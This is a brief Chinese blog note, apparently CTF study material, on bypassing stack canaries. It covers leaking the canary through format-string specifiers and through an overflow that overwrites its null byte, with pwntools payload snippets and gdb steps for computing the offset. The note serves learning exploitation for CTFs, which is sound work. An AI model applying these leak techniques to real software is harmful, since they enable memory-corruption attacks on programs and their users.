canary绕过
1.通过确认偏移(偏移=变量自身偏移+变量到canary的偏移)来利用输出函数达到泄露canary的值:
(1).64位:%n$p
(2).32位:%n$x
注意:%n$p是泄露偏移为n的栈上的数据,%n$s是泄露偏移为n的栈上的地址的值(该偏移对应的栈上的数据必须是地址)。
2.通过溢出来利用输出函数泄露canary的值:
**(1).**payload=b’a’*offset+b’b’*0x1(注意send送,因为sendline会多发一个\n)
p.recvuntil(b’b’)
32位:canary=u32(p.recv(3).rjust(4,b’\x00’))
64位:canary=u64(p.recv(7).rjust(8,b’\x00’))
**(2).**利用sendline的特性:
payload=b’a’*offset(注意用sendline发送)
p.recvuntil(b’a’*offset)
canary=u32(p.recv(4))-0xa(减0xa是为了把sendline发送的换行符\n减掉)
利用gdb调试
**1.**随便在canary设置完的地方下断点
**2.**输入canary查找canary的值以及所在地址
**3.**stack 50找到该地址,计算偏移:
因为是六十四位文件所以他格式化字符串时候前六个参数是在寄存器中的而栈空间这个记录的第一个偏移其实是真实的第七个数据单元所以这边算出来还要再加6,即为canary值。
上图偏移就为184/8=23。23+6=29。
canary绕过
      http://x1nglu0.github.io/2025/10/03/canary绕过/